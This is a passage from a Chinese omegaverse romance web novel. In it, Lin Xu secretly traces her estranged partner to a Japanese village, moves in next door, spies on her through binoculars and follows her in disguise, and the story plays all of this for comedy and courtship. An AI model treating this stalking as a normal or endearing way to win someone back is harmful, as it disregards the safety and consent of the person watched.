两人相谈甚欢,并约定好回国时间。 一周过去。 她的学习内容虽简朴,但每日都过的很充实,闲暇之余很少想起林絮,就好像上个世纪发生的事情。 更多的时候,她会看着女儿的日常生活,妹妹每日定时汇报,林絮出奇地安分,没莽撞地来到日本铺天盖地寻人。 她穿着浅灰色的工作围裙,站在角落的旋盘前,双手沾满陶土,动作缓慢专注,正修整一件高足器皿的边缘。 门外响起细碎的木屐声,有人轻轻叩门。 “失礼了。”来人声音柔和,带着天然的温婉。 舒清柚抬头,一眼便看到陌生女子,黑发束起,只用一枚白玉簪子固定,穿着淡色和服,步伐轻盈优雅。 对方站在门槛外,眼神清澈带笑,像是山中忽然探头窥视的一只白鹿。 还好,不是来找她的,舒清柚转而垂眸,继续处理陶胚,她的眼里只有活。 当天晚上一起用饭时,经老师介绍,女子是老师的熟人,世家出身的大小姐,杉原优子。 不知是否是幻觉,她总觉得杉原小姐似有若无朝她投来微妙的、带着一点打量的视线。 舒清柚习惯被许多人注视过,觊觎过,一个温柔娴静的Omega,应该也不会对她有非分之想。 她又不是什么万人迷,入睡前,她翻起手机,惯例查看消息,白日她很少用到手机,基本上放在房间。 划到一个视频时,她指尖停顿,眼睫颤抖着,半晌,在手机屏幕反光中,一簇簇的睫毛沾着细密的水珠,亮莹莹的。 在她不清楚的时间,女儿好像长大了不少,也愿意开口说话了。 舒清柚反复观看视频,好在,林絮也算有点功能作用 已经过去一月之久,林絮的情绪起起落落落落落落落落从满怀期待,到如今,整日冷脸冰霜示人。 遭殃的只有下属,员工们私底下有个群,每天都在热火朝天讨论八卦。 【切,我还以为林总把私生女带来,脾气会好一点,真异想天开。】 【谁说不是呢,我估计这孩子也不是正规途径来的。】 【有道理,要不为啥孩子另一个妈都没个风声。】 【其她不说,绒绒炒鸡萌,她是我这辈子见过最可爱的小蛋糕!】 提到这点,员工们的态度达成惊人的一致,林絮也不避讳员工,从踏入公司大门开始,抱着孩子开启上班生活,开会,听取报告,喂女儿吃饭。 除了上幼儿园,林絮一刻都不让女儿离开视线。 员工不止私底下,表面也会彩虹屁林絮是位难得的好母亲。 只有舒绒明白,妈咪有多唠叨。 在幼儿园,因为林絮缘故,无人敢得罪舒绒,就算她不说话,不妨碍长相优越。 林絮每周都会开不重样跑车接娃,有眼力见的不仅仅是成人,小孩子也会善意对待她。 一旦舒绒和妈咪相会,她学会了保持发呆状态,妈咪说什么,她赞同就是了。 林絮天天睹舒绒思舒清柚,满腔饱满的感情全抒发给舒绒,今天刚开完会。 她打开门,脚尖一勾,门啪地关上,舒绒悄咪咪观察,小抖一下。 妈咪的表情在外面好严肃凶凶的,现在怎么又要哭哭了。 如她所料,林絮把头埋到她脖颈间,哭诉:“绒绒,你妈妈这么久,都没打探过我的情况,是在等我更主动点吗?” 舒绒点点头。 林絮双手按稳女儿,继续蹭她柔软无助的脖颈,“那你说我要怎么主动,我去日本找她?” 舒绒点点头。 林絮悲伤地思考一会,“不行啊,她会不开心,不过她应该很乐意见到你。” 舒绒点点头。 “所以我怎么办嘛?” 每天只能通过舒晚柠了解到舒清柚生活碎片,还有照片,想也知道不是林絮特供。 舒绒每天都很期待妈妈的新照片,有很多小动物,还有妈妈玩泥巴的样子。 妈妈就算满手糊泥巴,也是天底下最漂亮的妈妈。 林絮垂头丧气,止住哭声,闷闷地问:“绒绒,你妈妈是不是不爱我了。” 舒绒义无反顾地点点头。 林絮:“” 哭无语了,她养了个小白眼狼,居然对她的苦难视而不见。 果然,不是自己肚子里剖出来的崽,就是养不熟。 林絮胸口堵得慌,捏着女儿的q弹的脸,“那你爱不爱我。” 舒绒一点都不带犹豫的,点点头。 呜呜呜,林絮一颗干涸的心,得到些许滋润,她决定继续给舒绒当好妈咪。 “妈咪找个时间带你去游乐园玩。” 突然间,舒绒听到这,不装傻发呆了,她眸光亮了亮,捣蒜式点头。 林絮一言难尽,露出一丝苦笑,唉,要是舒清柚也能这么好哄 第77章 无耻偷窥 苦苦等待三个月,林絮忍耐不了一点,她低估了舒清柚忍耐的极限,还有一个她无法接受的事实。 舒清柚确确实实放下她了,把她当作前尘往事抛弃。 单意识到这点的可能性,林絮浑身躁动,火没地方发,失眠,神经衰弱。 脸色每况愈下,急需药物治疗,她去到心理医生那边。 她和医生一问一答,医生在纸上沙沙写着,还要给她开药,她抓过记录本撕的粉碎,指着医生鼻子骂庸医。 一天天的,就知道吃药吃药,是药三分毒,万一她聪明的大脑吃成智障,谁对她负责? 接下来她周而复始,重复接送孩子,上班的麻木生活,舒清柚把那房子卖了很多不必要的家当都扔垃圾场了。’ 她脑袋里有个放映机,复盘舒清柚对她态度最好的时间,最后她不得不承认,当只舔狗比较合舒清柚的心意。 而且要够实诚,真诚是最大必杀技嘛。 她从床上一个鲤鱼打挺,翻出纸笔,嗖嗖嗖写出洋洋洒洒的大段文字。 又检查好有无错别字,拎起手机拨出一串号码。 舒晚柠来到林絮家大门口,上下打量电子锁,梆梆梆脚踹大门,林絮不紧不慢给她开了门。 “小姨子,这么早来啊,我才刚把孩子接回来。”林絮穿着笔挺的高定女士西装,衬的她人模狗样的。 一进门,舒晚柠默默在心里啐了她一口。 小侄女抱着平板,她凑过去看了眼,满屏幕花花绿绿的衣服首饰,最近,舒绒对换装游戏上瘾。 经常玩到忘记吃饭,都是林絮一口一口耐心地喂到她嘴里。 “你说有重要的事情要和我交待?该不会糊弄我的。” 舒晚柠没打算坐下唠嗑,就这么站着,她一遇到林絮就浑身不得劲,拳头莫名其妙的痒。 林絮洋溢着热情,给她倒了杯浓香扑鼻的咖啡,弯腰递上,“真有要事,您坐您坐。” 好恐怖的开场白,林絮竟然对她用敬语,她在裤腿缝上摩了摩指骨,林絮热情的令她肌肤发毛。 实在是盛情难却,舒晚柠不自在地喝咖啡,林絮在她对面,开门见山:“听说你论文答辩通过了,我给你准备了份礼物。” 紧接着,一张黑金卡送到舒晚柠眼皮子底下,黑金闪的她眼瞎。 舒晚柠警惕抬头,这是要干什么? “你在嘲讽我?把我当什么人了?!” 林絮哪还敢顶嘴,连忙为自己辩解,“不是专门给你的,你也知道虽然我公司有职业经理人,但有些重大决策也要经过我。” 舒晚柠更摸不着头脑,看着林絮精致脸上一脸诚恳,她皱着眉问:“关我什么事。” 林絮指了指舒绒:“我最近要出差一段时间,想拜托你照顾绒绒。” 所以,这和公司有毛线关联? 林絮猜到她的想法,施施然拎起舒绒,舒绒心怀不满,双腿悬空蹬了两下。 “孩子大了,也要子承母业,她负责坐我办公司盖章,你当她一段时间监督人。” 舒晚柠差点被咖啡一口呛死,不敢置信听到了什么天方夜谭,她不确定,“你再说一遍?” 大惊小怪,真是没见识的小姨子,林絮详尽仔细说明,别看舒绒三岁,基本的字都认识,早点培养。 舒晚柠一口气还没缓过来,小侄女埋头打游戏,如痴如醉,妥妥的网瘾幼儿,林絮这都敢?! 有钱人都这么瞎闹的? “小姨子,我这还有一份忏悔书。” 林絮恭敬给她看自己的内心独白,舒晚柠受到的震惊接二连三。 纸上写的每一个字看起来都是林絮的自我剖析,过往的错误,包括她性格的缺陷,伤害了她们姐妹两,更对不起舒绒,空缺三年母亲的职责。 舒晚柠眉头深拧,嘴巴张了张,好几次欲言又止。 半晌,林絮才唤她,“请问,小姨子,我们可以暂时达成统一战线吗?” 就算林絮深情并茂写下这些,那也不代表她会因为钱和忏悔原谅林絮。 本着伸手不打笑脸人原则,舒晚柠语气不再气势汹汹,“统一战线有点得寸进尺啊,再说了,照顾绒绒也是我责任。” 这话还有转圜的余地,林絮捏着卡,硬塞到舒晚柠口袋里,按住对方口袋:“小姨子,舒绒暂时拜托你了。” 平白无故得了无限金币,舒晚柠咳了一声,视线不自然地向下,“这可是你的卡自己钻我口袋啊。” “是是是,”林絮转身,从厨房端出糕点,“辛苦你这么远奔波来,要不这样,今后你就住在我这吧。” “啊?”舒晚柠迟疑道:“这么快就走,什么时候回。” 林絮漂亮的桃花眼微微眯着,为难地说,“不知道哦,得看分公司那边项目进展,我们随时保持联系。” 只见小姨子屈尊首肯,林絮第一个目的达到,她一秒钟都没耽搁,机票早在兜里准备就绪。 她提起行李箱,临别前把舒绒照顾的无微不至,饮食起居写在纸上,还吩咐舒晚柠:“换装游戏出新的小裙子,要记得给她充钱抽,孩子要保持在全服第一。” 舒晚柠:“” 舒绒真的不会被林絮养废吗?舒晚柠一整个怀疑住。 她面无表情催促着,“行吧,你赶紧走。” 林絮依依不舍,对女儿又亲又抱的。 不过,前一秒还在对女儿挥泪告别,下一秒林絮狂奔机场。 飞日本不过几个小时,在飞机上勉强睡了会,精神好比打了肾上腺素。 要调查舒清柚的假名和身份简直易如反掌,几个月的时间,连人带地址,悉数发到她电脑里。 舒清柚在的那一片小山村,生活着不少陶艺师,都是祖传的手艺,但年轻人就没那么留恋这传统手艺。 因此这一带,有不少空房子待售,地段偏僻,林絮直接住在舒清柚的隔壁房子。 家居全部买现成的,委托代理人搞定。 落日降临,舒清柚踩着一地金色余辉返程,走路十分钟即可,今天隔壁来了位新邻居,大型家具不断搬进。 不认识的中年女性,她停在门前,转头又看了眼,从包里翻出钥匙打开插销。 一个人住的生活简单,更省食材,一块凉拌豆腐,小碟清炒菜心,一碗味增汤,海苔碎均匀洒在米饭,十来分钟搞定一餐。 她并不是素食主义者,只是对美食没有世俗的欲望。 活人微饱状态就行。 入夜,林絮悄咪咪从后门进到屋内,这种老式日本传统房子抗震,二楼有个阳台,窗帘常年拉紧。 她特地准备了价格不菲的战术望远镜,高透光率镜片和镀膜处理,在黄昏、黎明、月光下也有好视野。 林絮踱步至二楼阳台,正对舒清柚,她趴在窗帘下,再掀起边角,借舒清柚视野盲区,掩盖她变态行径 真不想这么干啊,但她内心的渴望像奔涌洪水,引发不可挽回的决堤。 一如当年她暗中观察舒清柚,在她注意不到的角落,她可以永永远远监视她。 隐秘刺激的快感自内心升起,这种感觉在舒清柚出现在视野中时,消失的无影无踪。 舒清柚的住所,暖黄灯,她似乎很喜欢这种氛围,以前也不喜太亮堂。 她身姿清瘦,透着疏朗寂寥,哦,除了胸前的饱满。 现在是晚餐时间,林絮调整好自己的跪趴姿势。 舒清柚今天穿的照样朴实无华,不爱上妆,就算如此,她精致的下颌线,眉骨黛色淡扫,冷白色调的肌肤细腻可见,绯色唇瓣翕合。 无一不突显她绝佳的五官,好久没看到活的舒清柚,林絮做贼的般的心跳陡然加速。 她感觉到难以言喻的热,从小腹窜上,抑制贴下的信息素又热又涨,她紧蹙眉,懊恼地使劲掐住大腿。 都什么时候了,还想着做! 她刚瞧见舒清柚吃的晚餐,给她难受坏了,都没有多少油水,过的也太清贫了。 营养不良还不多买点滋补食物,果然舒清柚不能很好照顾自己,林絮不一样,她可以一人照顾母女俩。 不想了,林絮晃晃脑袋,继续无耻偷窥。 一整晚,她兴奋到睡不着,哪怕舒清柚拉上窗帘,她仿佛能透过那层厚布,窥见舒清柚清浅的睡颜。 她盯着舒清柚快一周,期间,林絮出门离不开卫衣兜帽,墨镜加黑口罩。 以及有厚重的大衣和羽绒服加成,扮成这副样子,就算舒清柚看见也不会怀疑。 第七天,舒清柚在客厅坐了很久,面露担忧,手中的书已经十分钟没有翻页。 林絮见她拿起手机,手指敲敲打打,林絮有点心神不宁,猜她是不是想谁了? 这七天,舒清柚都是一个人回家,也没有客人来访。 这时,林絮大腿在震动,她缩回脑袋,摸出手机,居然是舒清柚给她发消息了! 【你还在出差吗?】 【嗯。】 撒谎带来的羞愧,使她无法用大段文字回复,生怕说错话露出马脚。 其实舒清柚不会发现。 【柠柠说绒绒想你了。】 舒清柚明白以她的立场,没法强求林絮时刻陪伴孩子,绒绒哭着说要妈妈妈咪,她心疼却无能为力。 林絮:【我尽快回去。】 舒清柚:【好,多谢。】 几分钟,林絮捏着手机,舒清柚没再回复,她再度趴下,眼睛贴着望远镜。 舒清柚手里攥着纸巾,在抹眼泪啊 林絮眯了眯眼,心里苦涩,她还是不理解,为什么她要离开她。 今晚,林絮熬穿到清晨,舒清柚睡在客厅,她可以一直盯梢。 林絮决定在这里待半个月回去,等舒清柚洗漱好出门,林絮疲惫地睡去。 这一觉睡到黄昏时分,肚子咕咕叫,这个小山村虽然看起来挺偏的,至少存活着小餐馆和果蔬店,杂货店。 既然是监视,必然少不了跟踪,据她了解,舒清柚会在一天工作结束,去果蔬店买菜回家。 林絮饿了,这个点不是舒清柚出行时间,她装扮成低调的模样,去小餐馆觅食。 第78章 为什么你要躲我呢? “那个,咳,老板,给我打包一份炸鸡套餐。” 林絮钻进小餐馆,双手抄兜,微抬下巴示意,顺带咳嗽两下表示自己感冒。 她在别人看来简直像一只深山老林的大棕熊,老板看了她一眼,在室内还戴个墨镜,该不会是**吧。 包着白绿头巾的老板支支吾吾地问:“客人,您眼睛还好吗?” “这个啊,我眼睛刚动过手术,不方便见光。” 是了呢,中年老板微笑点头,“那客人您先去坐一会。” 林絮依言,寥寥几位客人,她在空桌上手掌撑下颌,愣愣地盯着斑驳的桌面。 想着也不清楚要跟踪到几时。 这时,又有客人进门,脚步很轻,一道心惊胆战的声音突然响起。 “老板,下午好,请来一碗乌冬面。” 来人说话松弛闲散,清冽的如窗外掠进的寒风。 大衣包裹着纤细身躯,即便如此,那股独特的信息素香味,占有过她的能清晰可辨。 怪就怪这里太小,她快速地瞥了眼舒清柚,后背僵直。 心中警铃大作,在舒清柚转身前,缓缓转动身体,面向墙壁,大气都不带喘的。 林絮这副打扮属实怪异,舒清柚回身挑选座位,不免看了眼林絮的背影,目光陡然愣住。 好熟悉,她不好意思多看,心存疑虑地挪开视线。 老板见状,表示同情林絮,和舒清柚低语:“这位客人呀,眼睛刚动过手术呢,好可怜。” 舒清柚笑了笑,最近也许是太累了,哪怕在家也不能安心,好像有被什么东西攫住,如芒在背。 刚才看到这人,这种感觉更强烈。 林絮半晌不敢动弹,心里翻江倒海,这也太巧了,不过应该看不出她脸和身材的。 哎呀,不会暴露哒,不会哒。 “客人,您的炸鸡打包好咯,一共是” 老板在喊她,打包盒落在她手边,她蜷缩着身体。 非常社恐的掏出几张钞票扔在位置上,老板接过钱,走向收银台。 林絮也不管钞票面额,不在意老板要找她多少钱,抱起饭盒,压住帽檐仓皇而逃。 “欸,客人您的钱给多了”老板抬起头,抓钱的手停在半空。 话音未落她就要追上去,她们虽然村里人,可是很有道德感的哩。 舒清柚木然地站在原地,心乱如麻,这世界上背影相似的很多。 自从经历过林絮,她再也不相信巧合,每件巧合的背后都跟着千丝万缕的联系。 她稳住呼吸,也跟着老板小跑出去。 老厨子把面条收回,怏怏地掀起眼皮子,啊,外头真冷,等老婆子回来再听她谈八卦。 天气预报,好不容易放晴了几天,地上的雪还没融化,外头这会继续飘着零星小雪。 林絮跑了大概几分钟,摘下口罩呼吸冰冷的空气,雾气呼的一下弥漫眼前。 正要向住所方向前进,她脚步一转,不行,现在回去万一撞到舒清柚,那就功亏一篑啊。 但这深山老林的,真让她当个野人钻小树林里啊。 她叹气摇头,突然,背后被人一拍。 林絮忙不迭戴上口罩,吓得飞快扭头。 只见那老板弯着老腰,气喘吁吁递上钱,“客人,找您的钱。” 林絮:“” 墨镜下她呈震惊状态,这么活力满满的吗?! “这” 她机械地接过钱,指尖刚碰到钞票,余光掠过迎面而来的舒清柚,她慌慌张张地抛下一句,“这是小费小费!” 老板又是欸了声,正想夸她美式大方呢,就见客人拔腿拎着饭盒转头狂奔。 她有这么恐怖吗?老板摸摸老脸,感慨青春易逝,身旁突然一阵冷风,一个身影迅速擦身而过。 老板愣了下,看着逐渐变小远去的米色背影,缓缓打出一个问号,白石小姐怎么也跟着跑了? 舒清柚本来也只是试探,现在看她这一跑,不用怀疑。 林絮身高腿长,好久没健身也不妨碍她跑路。 戴口罩剧烈运动快给她人都憋没了,她左拐右弯的在泥土羊肠小道穿梭,估摸着有半个小时。 她抽空扭动脖子,太好啦,舒清柚没在后面。 要不说日本乡村呢,路况糟糕,害她差点迷路,也不修个混凝土,靴子上全是泥巴雪混合物,脏兮兮。 面前是个废弃木屋,有点眼熟,她扶着边上的石墩子,弓腰松了松口罩喘气。 又热又累,背后全是汗,身体黏糊糊的。 就在林絮放松警惕时,舒清柚气定神闲地向她走来。 片刻后,舒清柚的一双白鞋在林絮瞳孔中放大。 她倏然抬起下巴,不可置信地后退一步。 舒清柚跟着她前进一步,她再后退,舒清柚跟紧她的节奏前进。 幸运的是,林絮的热汗霎时转成冷的。 不妙的在于,她膀胱阵阵收缩,快吓尿了。 腿肚子软趴趴打着颤,好想土下座在舒清柚面前求放过。 舒清柚起初没跑多久,看到林絮拐弯时,她还担心跟丢。 但没两分钟,林絮又自个饶了回来,舒清柚呆了呆,跟上她。 林絮见她在屁股后面,加紧速度奔跑。 转眼间,林絮消失在她视野中。 五分钟后,林絮又出现了,无头苍蝇似的到处乱窜。 舒清柚干脆不跟跑,改为散步,等林絮充沛精力耗光。 意料之内,舒清柚在这里等了没两分钟,林絮第三次路过这里,一身黑的衣物沾满了未融的雪花粒。 林絮半个字都说不出。 舒清柚好心指了指她的盒饭,淡定道:“这位小姐,你的炸鸡,洒出来了。” 啊,她的炸鸡! 林絮猛地提起袋子,外卖盒敞开,外形优美的金黄酥脆炸鸡滚到外面,放酱汁的盒子倒在米饭和炸鸡中。 塑料袋散发出冷掉的炸鸡味。 她欲哭无泪,晚饭没了,还被人抓包。 冥思苦想了会,脸是丢光了,她决定,找个绳子去林子里自尽。 她义无反顾,脚尖一动,朝黑不见底的树林走去。 舒清柚也不拦她,嘲弄地说:“小姐要去树林里上吊吗?我家有很结实的绳子。” 不知道是不是用日语的缘故,林絮觉得舒清柚话里带刺,她感到深深的被冒犯。 为什么她一直用敬语称呼她?莫非没认出来。 舒清柚嘴角勾出小弧度,“小姐,您还好吗?” 林絮转过身,不甘示弱地迎上舒清柚,她抱起双臂,打死也不开口。 “为什么你要躲我呢?” 舒清柚站得笔直,也不拆穿,就算林絮没露脸,这双手的形状,她里里外外都无比熟悉。 几个月不见,智商不见涨,还玩起跟踪这一套。 她想起一周前新搬进来的邻居,许久不见人影,再结合林絮躲躲藏藏的。 够变态,也符合林絮性格。 废话啊,我不躲你躲谁,而且,你是不是装作不认识我!林絮肠子都快悔青,她就不该贪这炸鸡! 林絮鼻子发出高傲的哼声,眼睛往天上瞄,两腿一撒,准备继续跑路。 舒清柚不惯着她,她捡起一块三公分左右的小石子,向前精准用力扔去。 得益于舒清柚午间去树林跑步,连续几个月每天都不落下,身体机能得到大幅度提升。 马甲线还差很大一步,但松软的皮肉已然结实不少。 “哎呦!” 林絮一个趔趄,捂住被打中的脑壳。 下一秒,又一枚小石子朝她飞来,后脑再度受袭。 “草!” 林絮不小心暴露国粹。 “中国人?”舒清柚故作震惊,日语发音标准,趋近于东京口音。 “不不不,我到网上学来的。” 林絮忙否认摆手,塑料袋晃动激烈。 包装盒完全沦为摆设,可怜的炸鸡惨不忍睹,林絮还不好追究舒清柚不留情的偷袭。 别笑,千万别笑,舒清柚努力憋住抽动的嘴角。 雪花落在她的鼻尖,她擦了擦,身体养好后,怕冷体质得到些许改善。 她故作好奇,“草是什么?” 反正被听到声音了,林絮不管不顾道:“一种植物。” 她碾磨着脚下的枯草,“再见。” 林絮潇洒离去,语气苍凉,背影凄惨地像是一下子老了几十岁。 真演技派,舒清柚少见的翻起白眼,距她身后一步距离,不紧不慢跟着。 林絮口渴无比,甜香味在身旁始终挥散不去,她不断警告自己要矜持,现在的她等同于戴罪之身。 千万不能胡作非为。 这里天气不错,今晚恐怕要下场鹅毛大雪。 林絮摸摸后脑勺。 唉,疼,舒清柚力气怎么这么大,难道这里的食物有激素,导致舒清柚变异了? 好久没和她面对面,气色红润很多,精神势头良好,也不怕她,还有心思戏弄她。 海阔任鸟飞,林絮脑子里想到这句。 舒清柚在这里好像过的很开心。 她干嘛老跟着我啊! 林絮透过墨镜畏惧地瞥了眼亦步亦趋的舒清柚。 舒清柚停下,拍拍她的肩。 林絮触电般一蹦三尺高,缩起脖子瑟瑟发抖。 太好笑了,舒清柚半掩住嘴唇,仍旧没破功笑出声,“作为吓到你的赔偿,我请你吃炸鸡饭。” 林絮高度猜测舒清柚在逗她,尽量保持沉默。 她掂量着手中放炸鸡的塑料袋子,脑袋窝囊地点了点。 第79章 好像喜欢上别人了? 整整100天,她都没吃过一顿好的,确切说,胃口不佳,一度错以为味觉失灵。 舒清柚蹙着眉,看着她狼吞虎咽,又不是没吃过好东西,干嘛对炸鸡这么迷恋。 吃饱喝足,林絮还想着逃,舒清柚没和她客气,抬起脚朝她屁股来了下。 林絮扶着踢红的屁股,愁眉苦脸。 “什么时候滚。”这段路不长,舒清柚闲庭信步。 “啊?”林絮还没太习惯这么生猛直白的话语,居然从舒清柚嘴里跑出来。 她好歹有个帽子遮挡风雪,林絮摘下帽子戴在舒清柚头上,帮她摆摆正。 唯唯诺诺问:“你觉得我什么时候滚比较好?” 舒清柚一点迟疑都没有,“越快越好。” 还没实施追妻计划呢,这就半路崩殂,她不甘心,死缠烂打一波。 “我知道错了。” 开门见山,不墨迹,舒清柚脚步停顿:“还有呢?” 快到家门口,林絮抠着手指,低头说:“我去看过心理医生。” “哦?”舒清柚有点兴趣,挑眉:“医生给你的诊断是?” 林絮挠了挠头,嘿嘿一笑以表尴尬,“我骂了医生,然后跑了。” 很快,林絮心惊胆战发现舒清柚脸色变差,她匆忙解释,“你看,我缺点一大堆,就连医生都受不了。” 舒清柚等着她的下文,林絮跑完步,先热后冷,风霜雪一个劲的往她领子里钻,她打了个喷嚏。 鼻涕泡冒了出来,她吸了吸鼻子,舒清柚往兜里摸,没有纸巾,算林絮运气背。 她伸出漂亮的指尖往林絮锁骨窝窝里面戳,潮湿的发尾一下又一下掠过肌肤,不太舒服。 “快回去洗洗睡。” 林絮捏住她的手指:“连医生都受不了,你还能忍我那么久,你太厉害了,我欠你的。” 不是厉害,是恋爱脑作祟。 舒清柚:“你不回,我就不管你了。” 林絮克制肢体触碰,站在屋檐下,搓搓手哈气,“能不能加个联系方式,我不会无缘无故打扰你。” “而且绒绒要有什么情况,我也好第一时间通知你。” 只要搬出孩子,效果斐然,舒清柚不情不愿地加上她好友,给林絮乐呵的,眼睛眯成一条线。 舒清柚转过头,开门,关门,不带留恋,一气呵成。 林絮没有额外动作,门啪的一声,把她扔在外头,她靠着门,抬眸,深蓝的天空,雪花飘飘洒洒。 在外面发着呆,又是一个喷嚏,好像这番内心独白起了反作用。 她磨磨蹭蹭,还计划干脆在她门口打地铺,扮成苦情女。 她等啊等,十分钟后,咔擦一声,温暖的热浪从屋内袭来。 林絮:“!!!” 她被兴奋冲昏头脑,舒清柚主动来找她了,她还是舍不得自己在外面吹风受寒。 然而,舒清柚只是倚在门框,清瘦的下颌微抬。 林絮怔愣了,视线随着舒清柚的动作转动,舒清柚肌肤绯红,纤长手指撩开顺滑的长发。 一小块肿胀的腺体露在空气中,信息素逐渐溢出。 Omega的信息素很快勾起Alpha的躁动。 林絮想逃走,可是脚下仿佛陷入泥沼不可自拔,她没办法生理上的反应,磕磕绊绊开口,“你,你你这是做什么呀?” “咬一口。” 舒清柚语气冷淡,薄红的眼皮低敛,眼神划过不肯展现出来的欲望。 林絮走也不是,留也不对,她使劲压住蓄势待发的腺体,不断念叨着:“对不良诱惑说不,对不良诱惑说不,对不良诱惑啊!” 真磨蹭,舒清柚等的不耐烦,扯过林絮胳膊。 一个猝不及防,林絮撞上了她的饱满,她涨红的脸此刻快热到爆炸。 就算是0°的下雪天,也无法抑制内心深处的冲动。 林絮保留最后一点理智,慌忙道:“我们现在*这种关系,不太好标记” 舒清柚捏住她的腺体,引得她阵阵求饶,没出息的半跪着腿。 “抑制剂用完了,还没买,今天暂时拿你代替。” “况且你以前不是最爱干这种事吗,我主动送上门,你还要装正人君子?” 林絮懵了,脑袋发昏地想,对啊,这是她主动,不是我强迫的,不吃白不吃。 她探出尖牙,眼白渐渐染上交错的猩红血丝,循着日思夜想的香味,寸寸靠近。 香气的源头直接让她丧失理智,突然,狂风伴着雨夹雪撞向她的脖颈,冰凉的雪落在皮肤上,化作湿漉漉的雪水。 她倒吸口冷气,上下牙打着颤,眼底显出清明。 用上十二万分的意志力松开舒清柚双肩,咽了咽口水,含糊地说:“不行不行,我好像有抑制剂。” 刚说完,林絮低下头,专注在地面,转过身,飞快地跑回自己的屋子。 舒清柚凝视她慌里慌张的背影,姝丽的眼尾眯了眯,好一会,她默默走向卧室,拉开红木抽屉。 里面赫然摆放一整排抑制剂,她不缺抑制剂。 只为试探林絮是否真的有改变,没让她失望,可是她也感受不到喜悦的情绪。 林絮踌躇着,脚步沉重上了二楼,室内暗黑,偷窥用的望远镜丢在墙角。 她将其打包收好,不太确定有无抑制剂,雇佣的临时管家帮她采购了一大堆生活用品。 倒腾好久,总算找到一盒抑制剂,她一秒没耽搁,迫不及待敲门。 但敲了许久,也没应声,林絮跺跺脚,莫非舒清柚生她气了? 她打开手机编辑短信【给你拿来了,你还好吗,开个门。】 舒清柚:【你走吧,我不需要。】 冷冰冰的文字如刺刀,林絮握着手机发愣,几秒后,委屈涌上心头,酸酸涩涩的,她抹了抹眼角的潮湿。 走就走,她还不稀罕讨好她呢。 林絮连夜上的飞机,也没行李需要打包,空手来,空手回。 舒清柚觉得林絮对她影响有点大。 看书静不下心,闭上眼也没有睡意,她翻身爬起,拿出提前备好的感冒冲剂。 她隔着窗望向对面,等待良久,没有任何灯光亮起。 过了半个钟头,一辆黑色轿车驶来,停在隔壁,司机戴着白手套,恭敬拉开车门。 林絮从里走出,衣物都没换,把脑袋钻进去前,抬起头看了眼。 舒清柚长睫颤了颤,身形晃动,快速掩上窗帘。 片刻,车辆引擎声响起,由近到远。 林絮满腹憋屈,下了飞机,直面熟悉的国度,远处高楼林立钢筋水泥,天际线灰蒙蒙。 她掏出手机,点开聊天软件,红点点一大堆挤在一块,置顶的舒清柚头像没有变化。 这一趟追妻之旅失败,好消息是舒清柚没报警抓她偷窥。 她犹豫,纠结,眉头皱紧,给舒清柚发了条短信。 【我出差回到华国了。】 不忘记配上自己在风中凌乱的背影,一看就是别人帮她摆拍的。 舒清柚早上刚起床就收到的短信,这就是林絮监视她这段时日的成果。 至少把她作息时间摸的一清二楚。 她回复【变丑了。】 林絮:【】 仕可忍孰不可忍,她一气之下,办了美容卡,在店长用三寸不烂之舌忽悠下,她姑且充了几十万试试。 美容店张脸都笑开花,长这么好看,皮肤几乎不需要护理,还有颜值焦虑啊? 这是什么品种的冤大头。 林絮做完一系列美容项目,摸摸更加Q弹软嫩的肌肤,洁白宛若新生。 舒清柚手机收到照片,觉得好笑又可悲。 她既然这么在意她的感受,当初不改,事后马后炮。 有点晚了。 如果说林絮做的一切事情只是想引起她的注意。 那的确很失败,舒清柚对林絮所作所为失去了愤怒,喜悦,最多心烦意乱。 舒清柚:【比不过绒绒。】 林絮美目瞪圆,嘴唇抿紧。 意识到舒清柚就是在侮辱自己,难不成她还能返老还童,又不是搞都市玄幻。 要说还有不开心的,还有舒绒,虽然也没那么喜欢妈咪,但她已经认识到,这是自己的另一个妈妈。 那种把自己丢掉三年不管的类型。 小蛋糕也治愈不了她受伤的小心灵。 妈咪也没对她多好,害她小小年纪就要坐在办公室独揽大权。 这种压力不是她一个三岁小可爱能承受的。 面前一沓沓看不懂的白纸黑字,对她而言天方夜谭,偏偏大人们让她盖章。 所以她哭了好久,喉咙都哭哑,她更不愿意开金口了。 姨姨怎么安慰都不管用,妈妈妈咪也都不在,想离家出走的念头不是一天两天了。 某日晚餐时间,林絮撞见舒晚柠喂舒绒吃饭,细致地为她擦去嘴角的饭粒,小家伙心安理得接受,另一只手抓着比她脸还大的pad。 看到就来气,林絮一个箭步,对舒晚柠微微一笑,“小姨子,这么多天辛苦了,还是我来带她吧。” 舒晚柠不清楚林絮去日本搞监视,每天照例和姐姐发生活日常,对林絮的印象停留在:她不会对绒绒差的层面。 舒绒张嘴,发现没有吃的放到嘴巴,她嘟着嘴,脸一撇。 妈咪好烦。 等舒晚柠出门,林絮接替她的位置,板着脸:“你还不会自己吃饭?” 质问的语气给舒绒吓一跳,她眨巴大眼睛,摇头点头并行,敷衍着林絮。 林絮拿出杀手锏,“绒绒,我前段时间去找你妈妈了。” 这话一出,舒绒懒散的身体立刻紧张起来,坐的笔直,也不要pad了,改成抓住林絮的手臂摇晃。 满心满眼的请求,她好想妈妈,她可以不要任何人,唯独不能没有妈妈。 “小白眼狼,之前对我态度那么差。” 舒绒扒拉着林絮,她知道大人最喜欢抱她亲她,她充分发挥身体优势,发出哼唧声。 闺女对她越来越心机了,林絮哀叹,抱着女儿就是一顿预防针:“你见到妈妈,不要说我坏话。” 妈咪的坏话?那太多了,舒绒摆着人畜无害的萌娃形象,笑了笑,露出两排白色小牙齿。 女儿的笑容看的林絮头皮发麻,她继续说:“你要多和我亲近,这样妈妈才能对我刮目相看。” “而且,你最近是不是不好好吃饭?”林絮摸摸女儿的圆滚滚的肚子,不太放心。 林絮提着女儿来到体重秤上,23斤,她咂咂嘴:“我吃两个西瓜都比你重。” 怎么能拿她和大西瓜比,舒绒不服气,再次称了下自己的重量,好吧。 没有变化。 林絮刺激她,摸着下颌呢喃:“妈妈不喜欢这么瘦的小宝贝。” 听到这,小女孩哪能沉得住气,甩开两只小短腿,来到饭桌前,往凳子上爬。 桌上全是她可以吃的菜,她握住勺子,挖了大口米饭,一个劲的往嘴里塞。 边嚼边看向林絮,眼里放光好像在说:妈咪快来看,我超级乖! 林絮:“” 真懂事,但不是为她。 “行吧,你要是涨到30斤,我带你去见妈妈。” 来自妈咪的诱惑,舒绒疯狂进食,连续增肥一个月,舒绒的小包子脸成功圆了一圈。 这一月来,林絮不要脸地和舒清柚分享绒绒和自己的日常。 